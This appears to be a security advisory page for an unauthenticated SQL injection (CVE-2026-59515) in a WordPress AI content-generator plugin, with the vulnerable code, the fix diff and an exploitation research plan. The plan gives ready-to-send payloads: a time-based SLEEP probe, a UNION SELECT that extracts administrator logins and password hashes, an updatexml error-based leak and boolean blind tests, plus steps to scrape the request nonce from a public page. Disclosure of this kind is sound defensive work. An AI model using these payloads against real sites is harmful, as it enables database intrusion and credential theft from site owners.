CVE-2026-59515

AI Copilot – Content Generator <= 1.5.4 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
1.5.5
Patched in
6d
Time to patch

Description

The AI Copilot – Content Generator plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.5.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.5.4
PublishedJuly 9, 2026
Last updatedJuly 14, 2026

What Changed in the Fix

Changes introduced in v1.5.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets **CVE-2026-59515**, an unauthenticated SQL injection vulnerability in the "AI Copilot – Content Generator" plugin. ### 1. Vulnerability Summary The vulnerability exists in the `WaicDb` class, specifically within the `get()` and `query()` methods in `classes/d…

Show full research plan

This exploitation research plan targets CVE-2026-59515, an unauthenticated SQL injection vulnerability in the "AI Copilot – Content Generator" plugin.

1. Vulnerability Summary

The vulnerability exists in the WaicDb class, specifically within the get() and query() methods in classes/db.php. The plugin uses a custom database wrapper that attempts to "prepare" queries by manually interpolating variables into the SQL string before passing them to the global $wpdb->prepare() function.

Because parameters are concatenated into the query string before the legitimate prepare() call, the prepare() function treats the injected SQL as part of the query structure rather than a literal value. This allows an unauthenticated attacker to inject arbitrary SQL commands.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: waic_ajax (The framework's primary AJAX dispatcher)
  • Route: chatbots.get_messages (or any unauthenticated route that queries the database by ID)
  • Vulnerable Parameter: id
  • Authentication: None required (accessible via wp_ajax_nopriv_waic_ajax).
  • Preconditions: The plugin must be active. A chatbot session or history must exist (or be created) to trigger the database query.

3. Code Flow

  1. Entry Point: An unauthenticated request is sent to admin-ajax.php?action=waic_ajax&route=chatbots.get_messages&id=[PAYLOAD].
  2. Dispatching: ai-copilot-content-generator.php calls WaicFrame::_()->exec(), which identifies the waic_ajax action and routes it to the ChatbotsController.
  3. Controller Logic: The controller retrieves the id from $_REQUEST['id'] and passes it to a model or directly to a DB query.
  4. Vulnerable Sink: The code calls WaicDb::get("SELECT * FROM @__chatlogs WHERE id = '$id'").
  5. Faulty Preparation: In classes/db.php, WaicDb::prepareQuery() is called. It replaces @__ with the WordPress prefix and modifies the query to include 1=%d.
  6. SQL Execution: $wpdb->prepare($query, $args) is called. Since the malicious $id is already part of the $query string, it is executed as raw SQL.

4. Nonce Acquisition Strategy

The waic_ajax dispatcher typically requires a nonce for validation. In this plugin, the nonce is localized for the frontend using wp_localize_script.

Strategy:

  1. Identify Shortcode: The plugin uses the [aiwu-chatbot] or [aiwu-form] shortcode to render the frontend interface.
  2. Create Trigger Page: Create a public page containing the chatbot shortcode.
  3. Extract Nonce: Navigate to the page and extract the nonce from the waicData (inferred) global JavaScript variable.

Execution:

# 1. Create a page with the chatbot shortcode
wp post create --post_type=page --post_title="Chat" --post_status=publish --post_content='[aiwu-chatbot]'

# 2. Extract the nonce via browser_eval
# (Assuming the localized variable is waicData based on the framework pattern)
browser_navigate("http://localhost:8080/chat")
NONCE=$(browser_eval "window.waicData?.nonce")

5. Exploitation Strategy

Step 1: Verification (Time-Based)

Confirm the injection by inducing a 5-second delay.

  • Tool: http_request
  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Body (URL-encoded):
    action=waic_ajax&route=chatbots.get_messages&id=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
    
  • Expected Result: Response time > 5 seconds.

Step 2: Data Extraction (UNION-Based)

Extract the administrator's username and password hash from the wp_users table. We assume the @__chatlogs table has 7 columns (inferred from installer.php schema).

  • Tool: http_request
  • Payload:
    -1' UNION SELECT 1,2,3,user_login,user_pass,6,7 FROM wp_users-- -
    
  • Body (URL-encoded):
    action=waic_ajax&route=chatbots.get_messages&id=-1' UNION SELECT 1,2,3,user_login,user_pass,6,7 FROM wp_users-- -
    
  • Expected Result: The response JSON will contain the user_login and user_pass values in the fields normally reserved for the chatbot message and response.

6. Test Data Setup

  1. Plugin Activation: Ensure ai-copilot-content-generator is active.
  2. Mock Data: Create at least one chatbot entry to ensure the get_messages route has a base query to execute.
    wp eval "WaicDb::query(\"INSERT INTO @__chatlogs (session_id, message, response) VALUES ('test-session', 'Hello', 'Hi')\");"
    
  3. Public Page: Create the "Chat" page as described in Section 4.

7. Expected Results

  • Success Indicator: The AJAX response returns a success: true status with a data array.
  • Exposed Data: Inside the data array, the objects will have values like:
    {
      "message": "admin",
      "response": "$P$B..."
    }
    

8. Verification Steps

After running the exploit, verify the extracted data matches the actual database state using WP-CLI:

# Check the admin user's hash
wp user get admin --field=user_pass

9. Alternative Approaches

If the chatbots.get_messages route is not enabled or column counts differ:

  1. Error-Based: Use updatexml() or extractvalue() to leak data via MySQL errors if WP_DEBUG is on.
    • Payload: 1' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)-- -
  2. Blind Boolean: If no output is returned, use the id parameter with boolean conditions (e.g., id=1' AND 1=1-- - vs id=1' AND 1=2-- -) and compare the response lengths or the success field.
  3. Different Route: Try history.get_item or forms.get_entries which use similar WaicDb::get calls.
Research Findings
Static analysis — not yet PoC-verified

Summary

The AI Copilot – Content Generator plugin is vulnerable to unauthenticated SQL injection because its custom database class (WaicDb) and models concatenate user-supplied input directly into SQL strings. This architecture allows attackers to bypass WordPress's built-in preparation protections, enabling the extraction of sensitive data such as administrative credentials through manipulated AJAX requests.

Vulnerable Code

// classes/db.php L31-L34
$query = self::prepareQuery($query, $args);
self::$query = $query;
$wpdb->waic_prepared_query = $wpdb->prepare($query, $args); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared

---

// classes/db.php L106-L113
public static function prepareQuery( $query, &$args = array(1) ) {
    global $wpdb;
    if (self::$prepareQ) {
        $query = $wpdb->prepare($query); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
    }
    if (empty($args)) {
        $args = array(1);

---

// modules/chatbots/models/chatbots.php (as seen in the patch diff for v1.5.4)
public function getUserChatLog( $taskId = 0, $userId = 0, $ip = '', $mode = 0, $cnt = 0, $status = 0, $dd = false ) {
    $forDate = !empty($dd);
    $query = 'SELECT h.id as his_id, h.created, l.question, l.answer, h.status, l.file' .
        ' FROM @__history as h' .
        ' INNER JOIN @__chatlogs l ON (l.his_id=h.id)' .
        ' WHERE h.task_id=' . ( (int) $taskId ) .
        ( false !== $status ? ' AND h.status= ' . ( (int) $status ) : '' ) .
        ' AND h.mode=' . ( (int) $mode ) .
        ' AND h.user_id=' . ( (int) $userId ) .
        ( false !== $status ? ' AND l.status=0' : '' ) .
        ( empty($userId) || $forDate ? " AND ip='" . $ip . "'" : '' ) .
        ( $forDate ? " AND h.created BETWEEN '" . $dd . " 00:00:00' AND '" . $dd . " 23:59:59'" : '' ) .
        ' ORDER BY h.id' .
        ( empty($cnt) ? '' : ' DESC LIMIT ' . ( (int) $cnt ) ); 
    $log = WaicDb::get($query);

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/ai-copilot-content-generator/1.5.4/ai-copilot-content-generator.php /home/deploy/wp-safety.org/data/plugin-versions/ai-copilot-content-generator/1.5.5/ai-copilot-content-generator.php
--- /home/deploy/wp-safety.org/data/plugin-versions/ai-copilot-content-generator/1.5.4/ai-copilot-content-generator.php	2026-06-22 20:55:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/ai-copilot-content-generator/1.5.5/ai-copilot-content-generator.php	2026-07-01 16:17:38.000000000 +0000
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: AI Copilot - Content Generator
  * Description: AI Copilot for WordPress saves time and boosts your website's performance with human-like content with GPT, Internal AI and more.
- * Version: 1.5.4
+ * Version: 1.5.5
  * Author: AIWU
  * Author URI: https://aiwuplugin.com/
  * Text Domain: ai-copilot-content-generator
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/ai-copilot-content-generator/1.5.4/classes/db.php /home/deploy/wp-safety.org/data/plugin-versions/ai-copilot-content-generator/1.5.5/classes/db.php
--- /home/deploy/wp-safety.org/data/plugin-versions/ai-copilot-content-generator/1.5.4/classes/db.php	2026-06-22 20:55:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/ai-copilot-content-generator/1.5.5/classes/db.php	2026-07-01 16:17:38.000000000 +0000
@@ -60,6 +60,18 @@
 		// phpcs:ignore WordPress.DB.DirectDatabaseQuery
 		return $affected ? $wpdb->query($wpdb->waic_prepared_query) : ( $wpdb->query($wpdb->waic_prepared_query) === false ? false : true );
 	}
+	public static function queryPrepared( $query, $args = array(), $affected = false ) {
+		global $wpdb;
+		$prefixArgs = array(1);
+		$query = self::prepareQuery($query, $prefixArgs);
+		if (!empty($args)) {
+			$query = $wpdb->prepare($query, $args); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+		}
+		self::$query = $query;
+		$wpdb->waic_prepared_query = $query;
+		$result = $wpdb->query($query); // phpcs:ignore WordPress.DB.DirectDatabaseQuery
+		return $affected ? $result : ( false === $result ? false : true );
+	}
 	/**
 	 * Get last insert ID
 	 *

Exploit Outline

The exploit targets the 'waic_ajax' action via the 'wp-admin/admin-ajax.php' endpoint. An unauthenticated attacker can supply a malicious SQL payload through parameters (such as 'id' or 'ip') in various AJAX routes like 'chatbots.get_messages'. Because the plugin's custom database wrapper manually interpolates variables into the SQL string before calling 'wpdb->prepare', the injected SQL is executed directly. Attackers can use time-based delays or UNION SELECT statements to extract sensitive data from the WordPress database. A security nonce may be required, which can be extracted from localized JavaScript data on any public page where the chatbot shortcode is active.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.